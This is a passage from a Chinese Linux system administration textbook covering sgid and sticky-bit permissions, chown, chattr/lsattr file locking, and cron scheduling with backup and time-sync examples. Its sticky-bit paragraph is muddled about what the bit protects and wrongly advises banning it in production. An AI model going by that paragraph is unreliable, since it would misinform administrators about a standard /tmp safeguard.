[root@oldboy ~]# ls -l /var/lib/mlocate/mlocate.db  #<==locate命令对应的数据库。

-rw-r-----. 1 root slocate 1342060 Apr 30 08:26 /var/lib/mlocate/mlocate.db

[root@oldboy ~]# echo "echo oldboyLinux" >/bin/oldboyedu  #<==创建一个脚本文件并放到/bin下。

[root@oldboy ~]# chmod +x /bin/oldboyedu   #<==加执行权限。

[root@oldboy ~]# locate oldboyedu          #<==无法查找到。

[root@oldboy ~]# updatedb #<==该命令会根据PATH路径，将命令索引更新到mlocate.db数据库中。

[root@oldboy ~]# locate oldboyedu #<==重新查找，这次就有了。

/bin/oldboyedu




 
切换到oldboy用户下测试，查找oldboyedu，示例代码如下：
 


[oldboy@oldboy ~]$ locate oldboyedu

/bin/oldboyedu




 
根据基本权限知识，oldboy是普通用户，oldboy执行locate，要想查找到oldboyedu就必须要读取/var/lib/mlocate/mlocate.db数据库中的信息，但是，该文件的用户和用户组分别是root和slocate，oldboy用户对于mlocate.db的权限属于其他权限位，即最后三位（---），所以oldboy用户下是无法查找到oldboyedu这个命令的。
 
但是事实上，oldboy用户却是查找到了oldboyedu，真实原因就是locate命令本身的用户组位设置了sgid位，因此，oldboy用户在使用locate命令查找文件时，就拥有了与locate命令对应的与用户组相同的身份和权限，因此，在读取/var/lib/mlocate/mlocate.db时，是以slocate用户组身份读取的mlocate.db，而slocate用户组对mlocate.db文件的权限属于中间三位，即“r--”，说明它具有读的权限，因此，oldboy就查到了old-boyedu这个命令文件。
 
取消locate命令的sgid权限，示例代码如下：
 


[root@oldboy ~]# chmod g-s `which locate` #<==取消sgid位。

[root@oldboy ~]# ls -l `which locate`

-rwx--x--x. 1 root slocate 38464 Mar 12  2015 /usr/bin/locate




 
然后，在oldboy用户下进行测试，直接提示权限拒绝了。
 


locate: can not stat （）'/var/lib/mlocate/mlocate.db': Permission denied




 
这个sgid的实际应用很少，有能力的读者可以了解一下。
 
3.sgid基于目录的案例
 
下面就来看一道RHCE认证考试题（了解即可）。
 
创建共享目录/home/admins，要求属组为adminuser，adminuser组成员对admins目录有写入、读取和执行的权限，其他所有用户均没有任何权限（root除外），在/home/admins目录中创建的文件会自动继承adminuser组的权限。
 
参考解答代码如下：
 


[root@oldboy ~]# mkdir /home/admins             #<==创建共享目录admins。

[root@oldboy ~]# groupadd adminuser             #<==添加用户组adminuser。

[root@oldboy ~]# ls -ld /home/admins 

drwxr-xr-x. 2 root root 4096 Apr 30 16:54 /home/admins

[root@oldboy ~]# chgrp adminuser /home/admins/  #<==为adminis目录授权adminuser用户组。

[root@oldboy ~]# ls -ld /home/admins

drwxr-xr-x. 2 root adminuser 4096 Apr 30 16:54 /home/admins  #<==查看授权结果。

[root@oldboy ~]# touch /home/admins/oldboy.txt  #<==创建测试文件。

[root@oldboy ~]# ls -l /home/admins/

total 0

-rw-r--r--. 1 root root 0 Apr 30 19:59 oldboy.txt  #<==文件默认用户和组都是root。

[root@oldboy ~]# chmod 2770 /home/admins  #<==授权sgid权限给admins目录。

[root@oldboy ~]# ls -ld /home/admins/

drwxrws---. 2 root adminuser 4096 Apr 30 20:10 /home/admins/  #<==查看授权结果。

[root@oldboy ~]# touch /home/admins/newfile.txt  #<==再创建新文件。

[root@oldboy ~]# ls -l /home/admins/

total 0

-rw-r--r--. 1 root adminuser 0 Apr 30 20:04 newfile.txt  

#<==新创建的文件用户组为adminuser了，而非默认的root了。

-rw-r--r--. 1 root root      0 Apr 30 19:59 oldboy.txt




 
整个配置过程，已满足题意需求。
 
12.7.4　粘滞位（sbit）知识
 
粘滞位（sticky bit）的功能现在已经很少用了，不过对于像/tmp目录这样的，因为其是整个系统用户的临时文件存放地，因此还是有点意义的。一个目录即使它的所有权限都开放了，即权限为rwxrwxrwx，而同时设置了粘滞位，那么除非目录的属主和root用户都有权限删除它，除此之外其他用户是不能删除这个目录的。粘贴位的用途一般是将一个文件夹的权限都打开，然后共享该文件，像/tmp目录一样。粘滞位的功能虽然方便，但是同时也带来了一定的安全隐患，生产环境中应禁止设置粘滞位权限。
12.8　改变文件或目录的用户和用户组命令chown
 
12.8.1　命令详解
 
【命令星级】　　★★★★★
 
【功能说明】
 
chown命令用于改变文件或目录的用户和用户组。
 
【语法格式】
 


chown  [option]  [OWNER][:[GROUP]]  [file] 

chown  [选项]     [用户: 用户组]        [<文件或目录>] 




 
常用授权命令语法格式：
 


chown 用户 文件或目录            #<==仅授权用户。

chown :用户组   文件或目录       #<==仅授权用户组，等同于“chgrp组 文件或目录”。

chown 用户:用户组   文件或目录   #<==同时授权用户和用户组。




 
[image: ]说明：
 
1）其中的“：”可以用“.”代替。
 
2）要授权的用户和组名，必须是Linux系统中真实存在的。
 
【选项说明】
 
表12-8针对chown命令的参数选项进行了说明。
 
表12-8　chown命令的参数选项及说明

 
 [image: ]

 
12.8.2　使用范例
 
范例12-4：更改文件alex.txt所属的用户为inca的示例。
 


[root@oldboy ~]# touch alex.txt          #<==创建测试文件。

[root@oldboy ~]# ls -l alex.txt 

-rw-r--r--. 1 root root 0 Apr 30 20:25 alex.txt  #<==查看默认属性。

[root@oldboy ~]# chown inca alex.txt  #<==授权inca用户。

chown: invalid user: `inca'             #<==提示用户不存在，待授权的用户或组必须存在。

[root@oldboy ~]# useradd inca          #<==添加inca用户。

[root@oldboy ~]# chown inca alex.txt   #<==重新将alex.txt文件所属用户授权为inca用户。

[root@oldboy ~]# ls -l alex.txt 

-rw-r--r--. 1 inca root 0 Apr 30 20:25 alex.txt  #<==查看授权结果。




 
范例12-5：更改oldboy.txt文件所属的用户组为tech。
 


[root@oldboy ~]# ls -l oldboy.txt 

-rw-r-Sr--. 1 root root 12 Apr 30 14:38 oldboy.txt

[root@oldboy ~]# chown .tech oldboy.txt  #<==将oldboy.txt所属的组授权为tech。

chown: invalid user: `.tech'

[root@oldboy ~]# groupadd tech

[root@oldboy ~]# chown .tech oldboy.txt  #<==等价于chgrp tech oldboy.txt。

[root@oldboy ~]# ls -l oldboy.txt 

-rw-r-Sr--. 1 root tech 12 Apr 30 14:38 oldboy.txt  #<==查看授权结果。




 
范例12-6：同时将/oldboy目录及子目录所属的用户改为inca，将用户组改为tech。
 


[root@oldboy ~]# ls -ld /oldboy

drwxr-xr-t. 2 root root 4096 Apr 30 13:09 /oldboy

[root@oldboy ~]# chown -R inca.tech /oldboy

[root@oldboy ~]# ls -ld /oldboy

drwxr-xr-t. 2 inca tech 4096 Apr 30 13:09 /oldboy




 
12.8.3　文件所属的用户及用户组特殊情况
 
当文件及目录的用户或用户组被删除时，对应的用户和用户组位就会显示为如下的数字形式：
 


[root@oldboy ~]# userdel -r inca

[root@oldboy ~]# groupdel tech

[root@oldboy ~]# ls -ld /oldboy

drwxr-xr-t. 2 503 506 4096 Apr 30 13:09 /oldboy




 
解决办法就是重新创建uid为503的用户，以及gid为506的用户组，具体步骤如下：
 


[root@oldboy ~]# useradd inca -u 503   #<==重建用户inca，uid为503。

[root@oldboy ~]# groupadd -g 506 tech  #<==重建用户组tech，gid为506。

[root@oldboy ~]# ls -ld /oldboy

drwxr-xr-t. 2 inca tech 4096 Apr 30 13:09 /oldboy #<==查看重建结果。




12.9　chattr：改变文件的扩展属性
 
12.9.1　命令详解
 
【命令星级】　　★★★☆☆
 
【功能说明】
 
chattr命令用于改变文件的扩展属性。与chmod命令相比，chmod只是改变了文件的读、写、执行权限，更底层的属性控制是由chattr来改变的。
 
【语法格式】
 


chattr  [options]  [mode]  [files]

chattr  [选项]      [模式]   [<文件或目录>]




 
[image: ]说明：
 
chattr命令以及后面的选项和文件，每个元素之间都至少要有一个空格。
 
【选项说明】
 
表12-9针对chattr命令的参数选项进行了说明。
 
表12-9　chattr命令的参数选项及说明

 
 [image: ]

 
12.9.2　使用范例
 
范例12-7：设置只能向文件里追加内容，但不能删除文件。
 


[root@oldboy ~]# lsattr test   #<==lsattr查看文件的扩展属性。

-------------e- test

[root@oldboy ~]# chattr +a test #<==+a添加追加属性。

[root@oldboy ~]# lsattr test

-----a-------e- test

[root@oldboy ~]# rm -f test     #<==即使是root用户也无法删除。

rm: cannot remove `test': Operation not permitted

[root@oldboy ~]# echo 111 >>test #<==可以追加文本。

[root@oldboy ~]# cat test

111

[root@oldboy ~]# echo 111 >test #<==但是不能清空文件。

-bash: test: Operation not permitted




 
范例12-8：对文件加锁，使其只能被读取。
 


[root@oldboy ~]# chattr +i file1.txt  #<==使用+i参数为文件加锁。

[root@oldboy ~]# lsattr file1.txt

----i--------e- file1.txt

[root@oldboy ~]# rm file1.txt         #<==root用户无法删除文件。

rm: remove regular file `file1.txt'? y

rm: cannot remove `file1.txt': Operation not permitted

[root@oldboy ~]# echo 111 > file1.txt  #<==不能清空。

-bash: file1.txt: Permission denied

[root@oldboy ~]# echo 111 >> file1.txt #<==也不能追加。

-bash: file1.txt: Permission denied

[root@oldboy ~]# chattr -i file1.txt   #<==使用-i参数解锁。

[root@oldboy ~]# rm file1.txt        

rm: remove regular file `file1.txt'? y #<==解锁后就可以删除了。

[root@oldboy ~]#




 
12.9.3　安全优化实战
 
下面利用-a和-i参数为大家讲解chattr在企业中的实战应用。
 
避免恶意删除.bash_history历史记录文件或者重定向到/dev/null，又因为系统需要向这个文件写入历史记录，因此采用追加模式，只增不减。
 


[root@oldboy ~]# chattr +a .bash_history     #<==对历史纪录文件加上只能追加的属性。




 
如果希望锁定文件不能被删除或修改，可以使用如下命令来实现：
 


[root@oldboy ~]# chattr +i /etc/passwd /etc/group /etc/shadow /etc/gshadow /etc/inittab #<==锁定系统关键文件

[root@oldboy ~]# useradd kk  #<==添加用户的命令，后面将详细讲解。

useradd: cannot open /etc/passwd

#<==说明：做完上面实验的读者，请立即解锁这些文件，因为以后的学习都需要修改这些文件。




 
解锁命令，具体如下：
 


chattr -i /etc/passwd /etc/group /etc/shadow /etc/gshadow /etc/inittab




 
[image: ]提示：关于chattr的功能，既然我们能操作，那么黑客如果知道也能操作，因此，使用chattr的安全性是相对的。
12.10　lsattr：查看文件的扩展属性
 
12.10.1　命令详解
 
【命令星级】　　★★★☆☆
 
【功能说明】
 
lsattr命令可用于查看文件扩展属性。
 
【语法格式】
 


lsattr  [options]  [files] 

lsattr  [选项]      [<文件或目录>] 




 
[image: ]说明：
 
lsattr命令以及后面选项和文件，每个元素之间都至少要有一个空格。
 
【选项说明】
 
表12-10针对lsattr命令的参数选项进行了说明。
 
表12-10　lsattr命令的参数选项及说明

 
 [image: ]

 
12.10.2　使用范例
 
范例12-9：查看文件的扩展属性。
 


[root@oldboy ~]# lsattr file1.txt     #<==查看文件默认的扩展属性。

-------------e- file1.txt

[root@oldboy ~]# chattr +i file1.txt

[root@oldboy ~]# lsattr file1.txt

----i--------e- file1.txt             #<==可以看到文件具有i属性。




 
范例12-10：查看目录的扩展属性。
 


[root@oldboy data]# ll -d dir2

drwxr-xr-x 2 root root 4096 Nov  4 17:26 dir2

[root@oldboy data]# lsattr -d dir2    #<==使用-d选项查看目录的扩展属性。

-------------e- dir2

[root@oldboy data]# chattr +i dir2    #<==也可以对目录加锁。

[root@oldboy data]# lsattr -d dir2

----i--------e- dir2




12.11　本章重点
 
1）Linux基本9位权限之文件和目录权限的详细说明。
 
2）Linux基本9位权限之字符和数字（8进制）的权限知识。
 
3）权限及用户和用户组属性修改命令chmod、chown、chgrp。
 
4）默认权限umask以及系统目录安全案例。
 
5）掌握特殊权限suid相关知识，sgid和sticky的相关知识了解即可。
 
6）chattr和lsattr锁定一个文件防止被篡改或者删除的相关知识。
第13章　Linux系统定时任务Cron（d）服务应用实践
 
13.1　Cron（d）介绍

 
13.1.1　什么是Cron？
 
Cron是Linux系统中以后台进程模式周期性执行命令或指定程序任务的服务软件。默认情况下，安装完Linux操作系统之后，Cron服务软件便会启动，服务对应的进程名字为Crond，Crond服务会定期（默认每分钟检查一次）检查系统中是否有需要执行的任务工作计划。如果有，则会根据其预先设定的定时任务规则自动执行该定时任务工作。这个Crond定时任务服务就相当于我们平时使用的闹钟（或手机闹钟）。
 
Linux系统中的Cron定时任务执行的最快频率是每分钟执行一次，因此如果是需要以秒为单位执行的计划任务，Cron就不适用了。面对这种情况，在工作中可以编写Shell脚本，然后作为守护程序执行。以下是一个每秒钟执行一次任务的脚本：
 


[root@oldboy ~]# cat cron.sh 

while true

do

    echo "I am oldboy teacher."

    sleep 1

done




 
[image: ]提示：当然也有秒级定时任务人员，但是用途不多，因此，读者不需要过多涉及。
 
13.1.2　为什么要使用Crond定时任务？
 
前文讲解过，Linux运维工程师的职责之一就是保障数据安全，那么，其日常工作任务之一就是不断地对数据进行备份，而很多时候白天系统业务繁忙，因此数据备份的工作只能放到晚上执行，例如，网站数据库数据以及用户上传的图片、文件和程序文件等，一般需要每天晚上做一次备份。如果没有定时任务工具，管理员就得每天半夜爬起来，登录到系统中手工执行任务计划，直到执行完才能去睡觉。执行任务的过程可能会持续好几个小时，这样一来，一个晚上管理员就都不用睡觉了，这样显然是不行的。那么有什么办法可以解决这个周期性地执行任务计划的问题呢？
 
这就需要Linux系统的定时任务Cron工具了，Cron工具可以很好地帮我们完成需要重复的、周期性地、自动备份等运维工作。
 
13.1.3　不同系统的定时任务种类介绍
 
1.Windows系统的定时任务
 
在继续讲解Linux的定时任务之前，我们先来看一看Windows的任务计划，Windows系统也是有定时任务计划工具的。
 
这里以Windows7系统为例进行说明，选择“开始”→“所有程序”→“附件”→“系统工具”→“任务计划程序”，就会弹出如图13-1所示的窗口。
 
 
 [image: ] 


图13-1　Windows7的任务计划图
 
图13-2所示的是设定好的，每天晚上自动关机的定时任务。
 
 
 [image: ] 


图13-2　每天晚上自动关机的设置图解
 
更多信息可见：http://wenku.baidu.com/view/174cb0cc2cc58bd63186bd2a.html

 
2.Linux系统下的定时任务软件
 
严格地说，Linux系统下的定时任务软件还真不少，例如，at、Cron和anacron等，下面分别来简单介绍一下。
 
·at定时任务软件（依赖于atd服务）适合于仅执行一次就结束的调度任务工作。例如，某天夜里需要处理一个工作任务，仅仅是这一天的夜里，对于这种突发性的工作任务，那就可以使用该软件。要使得at这个软件设定的配置生效，还需要提前启动一个名为atd的服务才行，这个工具在工作中的使用需求很少，读者简单了解一下即可。

·Cron定时任务软件依赖于Crond服务。正如前面所说，通过crontab命令可以配置周期性执行的定时任务工作计划，例如，每五分钟做一次服务器时间同步。要使得crontab命令设定的配置生效，还需要事先启动一个服务Crond才行。这个Cron工具（对应的crontab命令以及依赖的Crond服务）就是运维工程师在生产工作中最常使用的工具，请大家务必掌握。

·anacron定时任务软件主要是为非7×24小时开机的服务器准备的，anacron并不能指定具体时间执行任务工作，而是以天为周期或者在系统每次开机后执行任务工作。它会检测服务器停机期间应该执行但是并没有进行的任务工作，并将该任务执行一遍。
 
3.Linux系统定时任务Cron（d）
 
在Linux系统中，Cron是定时任务的软件名，Crond是服务进程名，而crontab命令则是用来设置定时任务规则的配置命令。
 
为了更好地理解和学习Cron定时任务，本书将Cron定时任务人工划分为用户定时任务计划和系统定时任务计划两类，分别阐述如下。
 
（1）用户定时任务计划
 
Crond服务在工作时会以分钟为单位查看/var/spool/cron路径下以系统用户名命名的定时任务文件，以确定是否有需要执行的任务计划。如果有，就会将定时任务调度到内存中执行，笔者将这部分文件称为用户定时任务文件，使用crontab命令编辑的文件最终都会以当前用户名作为文件名存在于/var/spool/cron路径下。
 
如果是系统管理员或某个普通用户定期要做的任务工作，例如每隔5分钟与互联网上的时间服务器进行一次时间同步，每天晚上0点备份网站站点数据以及数据库数据，就可以使用crontab命令配置在/var/spool/cron路径下。
 
（2）系统定时任务计划
 
Crond服务在工作时除了查看/var/spool/cron下的定时任务文件之外，还会查看/etc/cron.d目录以及/etc/anacrontab下的文件内容，里面通常是每天、每周或每月需要执行的任务，如果有需要执行的任务则会执行，系统定时任务的路径通常如下：
 


[root@oldboy ~]# ls -l /etc|grep cron

-rw-------.  1 root root    541 Aug 24  2016 anacrontab

drwxr-xr-x.  2 root root   4096 Mar  8 09:55 cron.d        #<==系统定时任务的目录。

drwxr-xr-x.  2 root root   4096 Mar  8 09:55 cron.daily   #<==按天轮询配置的目录。

drwxr-xr-x.  2 root root   4096 Mar  8 09:54 cron.hourly    #<==按小时轮询配置的目录。

drwxr-xr-x.  2 root root   4096 Mar  8 09:55 cron.monthly  #<==按月轮询配置的目录。

drwxr-xr-x.  2 root root   4096 Sep 27  2011 cron.weekly   #<==按周轮询配置的目录。




 
[image: ]特别注意：系统路径下的定时任务配置格式与前文讲解的用户定时任务的配置格式是不同的。
 
Crond服务除了执行用户定时任务计划（/var/spool/cron目录）以外，还会周期性地自动执行与操作系统相关的定时任务工作，例如轮询系统日志、备份系统数据、清理系统缓存等，这些任务无需我们人为干预。示例代码如下：
 


[oldboy@C64_x86_64 ~]$ ls -l /var/log/messages* #<==Linux系统的日志被自动轮询，以时间结尾。

-rw-------. 1 root root 470941 9月   7 09:06 /var/log/messages

-rw-------. 1 root root  77868 8月  24 19:35 /var/log/messages-20130825

-rw-------. 1 root root 153778 8月  31 17:27 /var/log/messages-20130901

[oldboy@C64_x86_64 ~]$ ls -l /var/log/secure*

-rw-------. 1 root root  6969 9月   7 09:07 /var/log/secure

-rw-------. 1 root root 17640 8月  25 08:25 /var/log/secure-20130825

-rw-------. 1 root root  6494 9月   1 08:52 /var/log/secure-20130901




 
类似于上述的日志轮询工作就是由系统自身来完成的，不需要系统管理员来设置，命令如下：
 


[root@oldboy ~]# ll /etc/logrotate.conf /etc/cron.daily/logrotate

-rwx------. 1 root root 219 Oct 31 03:12 /etc/cron.daily/logrotate   

#<==每天执行的日志轮询定时任务配置。

-rw-r--r--. 1 root root 662 Jul 31  2013 /etc/logrotate.conf  #<==日志轮询切割

                                                配置文件。




 
本章讨论的重点是Cron的用户定时任务计划内容，当然，读者也可以自行学习系统任务计划相关的内容，从而让工作中的任务计划按系统任务计划的格式执行也是可以的（此部分内容不是必须的，也不是本文讲解的重点）。
13.2　用户定时任务Cron（d）使用说明
 
13.2.1　crontab定时任务编辑命令语法
 
在Linux运维工作中，通常使用crontab命令编辑定时任务，crontab的相关参数及说明如表13-1所示。
 
表13-1　crontab的相关参数及说明

 
 [image: ]

 
[image: ]特别强调：
 
-i、-r参数在生产中很少使用，另外，使用crontab命令编辑的文件实际上就是在操作“/var/spool/cron/当前用户名”这样的文件。
 
13.2.2　使用定时任务权限及配置文件说明
 
表13-2所示的是定时任务软件相关文件及路径说明。
 
表13-2　定时任务软件相关文件及路径说明

 
 [image: ]

 
13.2.3　以用户定时任务crontab命令编辑内容格式
 
默认情况下，待用户建立定时任务规则之后，该规则所记录的对应配置文件将会存在于/var/spool/cron中，其crontab配置文件对应的文件名与登录的用户名应一致，例如，root用户的定时任务配置文件为/var/spool/cron/root。
 
利用crontab命令编写定时任务的书写格式很简单，规则一般可分为6个段（每个段之间均通过空格来分隔），前5段为时间设定段，第6段为所要执行的命令或脚本任务段。
 
用户定时任务编写基本格式如下：
 


01 * * * * cmd

02 4 * * * cmd




 
[image: ]提示：
 
1）cmd为要执行的命令或脚本，例如/bin/sh/server/scripts/oldboy.sh。
 
2）每个列之间必须要有一个空格，可以存在多个空格。
 
1.用户定时任务编写语法中时间段的含义
 
使用crontab命令编辑的用户定时任务中的时间段对应的含义如表13-3所示。
 
表13-3　crontab命令编辑的用户定时任务时间段说明

 
 [image: ]

 
时间记忆口诀：分时日月周。取值范围记忆：正常日期时间范围。
 
2.用户定时任务编写语法中特殊字符的含义
 
在使用crontab命令编辑的用户定时任务的语法中，除了时间段以外，还会包含很多特殊字符应用，对应的含义如表13-4所示。
 
表13-4　用户定时任务编写语法中的特殊字符及含义

 
 [image: ]

 
13.2.4　crontab命令编辑的定时任务依赖服务说明
 
crontab命令编辑的定时任务依赖于crond服务，下面来看一下它的运行情况，示例代码如下：
 


[root@oldboyedu ~]# systemctl status crond.service  #<==查看Cron定时任务服务启动状态。

● crond.service - Command Scheduler  

#下面的enabled说明开机Crond为自启动状态，running为当前启动状态。

    Loaded: loaded （/usr/lib/systemd/system/crond.service; enabled; vendor preset: enabled）

    Active: active （running）since Thu 2020-10-08 01:56:12 CST; 41min ago

Main PID: 13189 （crond）

    CGroup: /system.slice/crond.service

            └─13189 /usr/sbin/crond -n

…省略若干不重要信息…

[root@oldboyedu ~]# systemctl restart crond.service  #<==定时任务重启命令。




 
[image: ]特别强调：
 
1）在编辑定时任务文件之后，无须重启定时任务，Crond会自动检查更改的变化。
 
2）当定时任务不能正确执行时，请查看定时任务日志文件（/var/log/cron）以获取故障信息。
13.3　用户定时任务Cron实例说明
 
下面来看一下用户定时任务Cron的使用实例，示例代码如下：
 


命令实例1：*/1 * * * * /bin/sh /scripts/data.sh




 
在本例中，除了数字与命令脚本之外，还使用到了符号“*”，*号的意思是“每一”。
 
第一列的意思为分钟，特殊符号“/”表示每隔的意思，即表示每隔一分钟执行一次/bin/sh/scripts/data.sh程序。
 


命令实例2：30 3,12 * * * /bin/sh /scripts/oldboy.sh




 
在本例中，第一列为30，表示30分钟；第二列为“3，12”，表示3点和12点，此定时任务的意思是每天凌晨3点和中午12点的半点时刻（或描述为每天凌晨3：30和中午12：30）执行一次/scripts/oldboy.sh脚本任务。
 


命令实例3：30 */6 * * * /bin/sh /scripts/oldboy.sh




 
在本例中，第一列为30，表示30分钟；第二列“*/6”代表每6个小时，相当于就是6、12、18、24的作用。此定时任务的意思是每隔6个小时的半点时刻执行一次/scripts/oldboy.sh脚本任务。
 


命令实例4：30 8-18/2 * * * /bin/sh /scripts/oldboy.sh 




 
在本例中，其中的第一列为30，表示30分钟；第二列的“8-18/2”代表在早晨8点到下午18点之间每隔2小时，也相当于是将8、10、12、14、16、18单独列出。
 
那么，此定时任务的意思就是早晨8点到下午18点之间，每隔2小时的半点时刻执行一次/scripts/oldboy.sh脚本任务。
 


命令实例5：30 21 * * * /application/apache/bin/apachectl graceful




 
本例表示每晚的21：30重启Apache。
 


命令实例6：45 4 1,10,22 * * /application/apache/bin/apachectl graceful




 
本例表示每月1、10、22日的凌晨4：45分重启一次Apache。
 


命令实例7：10 1 * * 6,0 /application/apache/bin/apachectl graceful




 
本例表示每周六、周日的凌晨1：10分重启一次Apache。
 


命令实例8：0,30 18-23 * * * /application/apache/bin/apachectl graceful




 
本例表示在每天18：00至23：00之间每隔30分钟重启一次Apache。
 


命令实例9：00 */1 * * * /application/apache/bin/apachectl graceful




 
本例表示每隔一小时整点重启一次Apache。
 


命令实例10：* 23,00-07/1 * * * /application/apache/bin/apachectl graceful




 
本例并不是表示晚上23点和早上0～7点之间每隔一小时重启一次Apache。
 
需要说明的是，以上结果是不规范的，也是不对的。大家想想为什么？
 
以上定时任务的第一列为“*”，表示每分钟都执行一次任务，即晚上23点和早上0～7点之间每一分钟都重启一次Apache，很可怕吧。
 


命令实例11：00 11 * 4 1-3 /application/apache/bin/apachectl graceful




 
本例表示4月的每周一到周三的上午11点整重启一次Apache。
 


命令实例12：30 09 * * 0 去老男孩教育上课




 
本例表示每周日上午9：30去老男孩教育上课，这是周末班的上课频率。
 


命令实例13：30 08 * * *去老男孩教育上课




 
本例表示每天上午8：30去老男孩教育上课，这是脱产班的上课频率。
 
通过上述13个例子，相信读者已经能够理解定时任务的配置规则了。
13.4　生产环境下用户Cron配置专业实践案例
 
前文是通过定时任务规则来理解定时任务计划，下文是根据需求来设定定时任务规则的案例，读者可以自己解答一下，看是否搞懂了。
 
范例13-1：每分钟打印一次oldboy字符串到“/server/log/oldboy.log”中。
 
新手编辑定时任务时很容易出错，因此，一定要养成一个好的编辑习惯才行，解答本题的详细步骤如下。
 
第一步：先在命令行实现要处理的任务，这一步很重要，很多新手直接编写定时任务，结果出现了各种错误，在练习场景下还好，若是在工作中，可能就会错过任务执行时间了。在命令行下进行测试的步骤如下：
 


[root@oldboy ~]# echo oldboy>> /server/log/oldboy.log   #<==命令行执行，将old-boy追加到文件里。

-bash: /server/log/oldboy.log: No such file or directory #<==报错，提示没有文件或目录。

[root@oldboy ~]# mkdir -p /server/log                    #<==创建对应不存在的目录。

[root@oldboy ~]# echo oldboy>> /server/log/oldboy.log    #<==重新在命令行执行。

[root@oldboy ~]# cat /server/log/oldboy.log              #<==查看执行后的结果。

oldboy




 
第二步：在Linux命令行执行crontab-e。进入vi编辑文本的状态之后，输入如下内容：
 


#print my name to log by oldboy at 201805       #<==这一行为注释。

* * * * * echo oldboy>> /server/log/oldboy.log  #<==这个命令应该是复制，不是从头书写。




 
第三步：保存，查看编辑完的定时任务配置。以下是具体命令：
 


[root@oldboy ~]# crontab -l|head -2

#print my name to log by oldboy at 201805      

* * * * * echo oldboy>> /server/log/oldboy.log




 
第四步：观察生效情况。以下是具体命令：
 


[root@oldboy ~]# tail -f /server/log/oldboy.log

oldboy

oldboy

oldboy




 
[image: ]提示：思考以及配置的规范过程比答案更重要，如果出现问题，请查看/var/log/cron排错。
 
本示例的知识小结具体如下。
 
·先确认Crond服务进程是否开启。

·书写定时任务规则前应尽量先写注释，以方便自己以及同事阅读。

·这里的/server/log目录必须要事先存在才能出结果，因此，在命令行测试执行成功很重要。

·定时任务中的所有路径（包含文件和命令等的路径）都尽量使用绝对路径（本题中不加echo也可以）。

·如果命令中有重定向符号等，那么结尾不要再加>/dev/null 2>&1，否则会出错。

·注意，定时任务的书写操作步骤具体如下。
 
1）先在命令行调试成功。
 
2）再将命令复制到定时任务配置里。
 
3）然后保存，并使用tail-f测试观察结果。
 
4）如果遇到问题，则可根据输出以及定时任务日志/var/log/cron文件内容排错。
 
范例13-2：让服务器时间每5分钟与互联网时间做一次同步。
 
本题的解答思路比较简单，下面直接给出答案如下：
 


[root@oldboy ~]# crontab -l|tail -3

#time sync by oldboy at 20180429

*/5 * * * * /usr/sbin/ntpdate ntp1.aliyun.com &>/dev/null  #<==主时间同步配置。

*/5 * * * * /usr/sbin/ntpdate ntp3.aliyun.com &>/dev/null  #<==辅助时间同步配置。




 
[image: ]提示：CentOS7.6默认没有安装ntpdate命令，需要事先执行yum安装，命令是：yum install ntpdate-y。
 
服务器的时间同步很重要，因此，在工作中最好是配置两个不同地址的同步任务，在互联网中，可用ntp时间服务器地址信息查看老男孩的博客地址：
 
http://blog.51cto.com/oldboy/2109063

 
范例13-3：每天晚上0点，将站点目录/var/www/html下的内容打包备份到/data目录下，并且要求每次生成不同的备份包名。
 
第一步：确认要备份的数据目录和备份的目的地路径是否存在，如果不存在就创建一个，以便测试。以下是具体的操作步骤：
 


[root@oldboy ~]# ls -ld /var/www/html /data   

ls: cannot access /var/www/html: No such file or directory  #<==目录都不存在。

ls: cannot access /data: No such file or directory

[root@oldboy ~]# mkdir -p /var/www/html /data             #<==创建目录。

[root@oldboy ~]# touch /var/www/html/oldboy{1..5}.txt     #<==同时创建几个文件。

[root@oldboy ~]# ls /var/www/html/

oldboy1.txt   oldboy2.txt  oldboy4.txt oldboy3.txt  oldboy5.txt 




 
第二步：备份数据，一般是采用压缩打包的形式。以下是命令行测试：
 


[root@oldboy ~]# cd /var/www/   #<==打压缩包，最好是到备份数据目录的上一级目录打包。

[root@oldboy www]# tar zcvf /data/bak_$（date +%F）.tar.gz ./html

          #<==带日期打包，目的是不同次备份生成不同的文件。

./html/

./html/oldboy4.txt

./html/oldboy3.txt

./html/oldboy1.txt

./html/oldboy2.txt

./html/oldboy5.txt

[root@oldboy www]# ls -l /data

-rw-r--r--. 1 root root 226 Apr 29 15:03 bak_2018-04-29.tar.gz




 
第三步：将测试成功的命令写入到文件里执行。注意，定时任务执行的命令最好是以Shell脚本的形式来执行，这样可以规避很多潜在的运行错误，例如，由“%”导致的错误，代码如下：
 


[root@oldboy www]# mkdir /server/scripts -p #<==规范定时任务脚本存放的路径。

[root@oldboy www]# cd /server/scripts/      #<==切换到路径下。

[root@oldboy scripts]# cat bak.sh  #<==查看编辑后的脚本内容，其实就是命令行的命令集合。

cd /var/www/&&\ #<==&&表示本条命令成功之后再执行下面的tar命令，\表示换行。

/bin/tar zcf /data/bak_$（date +%F）.tar.gz ./html #<==注意：这里去掉了-v参数，即不输出信息，打包的文件名中使用了日期变量，这样才能按天生成不同的压缩包文件。

[root@oldboy scripts]# rm -f /data/bak_2018-04-29.tar.gz  #<==删除以前生成的文件。

[root@oldboy scripts]# /bin/sh /server/scripts/bak.sh     #<==使用/bin/sh加全路径执行脚本。

[root@oldboy scripts]# ls -l /data

total 4

-rw-r--r--. 1 root root 226 Apr 29 15:11 bak_2018-04-29.tar.gz #<==测试结果依然正确。




 
第四步：编写定时任务。在Linux命令行执行crontab-e，进入vi编辑状态之后，输入以下内容：
 


[root@oldboy scripts]# crontab -l|tail -2

#backup site dir by oldboy at 201805 #<==清晰的注释。

00 00 * * * /bin/sh /server/scripts/bak.sh >/dev/null 2>&1 #<==复制命令行脚本内容到这里，结尾要加>/dev/null 2> &1，将所有输出定向到空。




 
针对以上两个定时任务的实际应用例子，可以总结一下企业生产环境中定时任务的专业编写规范和操作步骤。
13.5　生产环境下的定时Cron书写要领
 
13.5.1　要领1：为定时任务规则加上必要的注释
 
书写定时任务规则时应尽可能地加上注释（最好是英文注释），这是个很好的运维习惯和规范。例如，什么人，在什么时间，因为谁（需求方），做了什么定时任务计划。如果这些都标记清楚了，那么其他的运维人员（同事）可以很容易理解任务的信息，从而提升团队工作的效率。若不写注释，则会给以后的维护和任务交接带来麻烦。带注释的定时任务示例代码如下：
 


[root@oldboy scripts]# crontab -l

#backup site dir by oldboy at 201805 #<==清晰的注释，是专业、资深运维的习惯。

00 00 * * * /bin/sh /server/scripts/bak.sh >/dev/null 2>&1




 
13.5.2　要领2：所有的定时任务尽量都以脚本的形式执行
 
